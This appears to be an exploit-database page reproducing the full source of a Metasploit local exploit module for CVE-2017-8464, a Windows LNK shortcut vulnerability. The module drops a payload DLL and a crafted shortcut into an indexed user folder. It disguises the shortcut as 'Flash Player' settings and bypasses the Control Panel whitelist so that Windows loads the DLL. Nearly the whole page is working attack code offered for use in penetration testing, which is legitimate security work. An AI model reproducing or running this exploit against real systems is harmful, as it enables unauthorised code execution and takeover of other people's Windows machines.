Microsoft Windows LNK File Code Execution

2017.11.09
Credit: Multiple
Risk: High
Local: Yes
Remote: No
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv attr_accessor :exploit_dll_name def initialize(info = {}) super( update_info( info, 'Name' => 'LNK Code Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. The PATH option must be an absolute path to a writeable directory which is indexed for searching. If no PATH is specified, the module defaults to %USERPROFILE%. }, 'Author' => [ 'Uncredited', # vulnerability discovery 'Yorick Koster', # msf module 'Spencer McIntyre' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-8464'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup ['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format ['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'], ['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'FileDropperDelay' => 15, 'WfsDelay' => 30 }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, # Default target is Automatic 'DisclosureDate' => 'Jun 13 2017' ) ) register_options( [ OptString.new('FILENAME', [false, 'The LNK file']), OptString.new('DLLNAME', [false, 'The DLL file containing the payload']), OptString.new('PATH', [false, 'An explicit path to where the files should be written to']) ] ) register_advanced_options( [ OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']), OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player']) ] ) end def check if session.sys.process['SearchIndexer.exe'] return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def get_name(option, default_ext) name = datastore[option].to_s.strip name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank? name end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if session.platform != 'windows' fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session') end if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464') arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch'] datastore['EXE::Path'] = path datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll") path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%") path.chomp!("\\") dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}" write_file(dll_path, generate_payload_dll) lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}" write_file(lnk_path, generate_link(dll_path)) register_files_for_cleanup(dll_path, lnk_path) end def file_rm(file) if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true) @dropped_files.delete(file) end end def generate_link(path) vprint_status("Generating LNK file to load: #{path}") path += "\x00" # Do not use << here display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name comment = datastore['LnkComment'].dup << "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') cpl_applet << [path.length].pack('v') cpl_applet << [display_name.length].pack('v') cpl_applet << path.unpack('C*').pack('v*') cpl_applet << display_name.unpack('C*').pack('v*') cpl_applet << comment.unpack('C*').pack('v*') # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) 0x00, 0x00, 0x00, 0x00, # FileAttributes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime 0x00, 0x00, 0x00, 0x00, # FileSize 0x00, 0x00, 0x00, 0x00, # IconIndex 0x00, 0x00, 0x00, 0x00, # ShowCommand 0x00, 0x00, # HotKey 0x00, 0x00, # Reserved1 0x00, 0x00, 0x00, 0x00, # Reserved2 0x00, 0x00, 0x00, 0x00 # Reserved3 ].pack('C*') # IDList idlist_data = '' # ItemID = ItemIDSize (2 bytes) + Data (variable) idlist_data << [0x12 + 2].pack('v') idlist_data << [ # All Control Panel Items 0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') # ItemID = ItemIDSize (2 bytes) + Data (variable) idlist_data << [cpl_applet.length + 2].pack('v') idlist_data << cpl_applet idlist_data << [0x00].pack('v') # TerminalID # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData # SpecialFolderDataBlock ret << [ 0x10, 0x00, 0x00, 0x00, # BlockSize 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) 0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList ].pack('C*') # TerminalBlock ret << [0x00, 0x00, 0x00, 0x00].pack('V') ret end end


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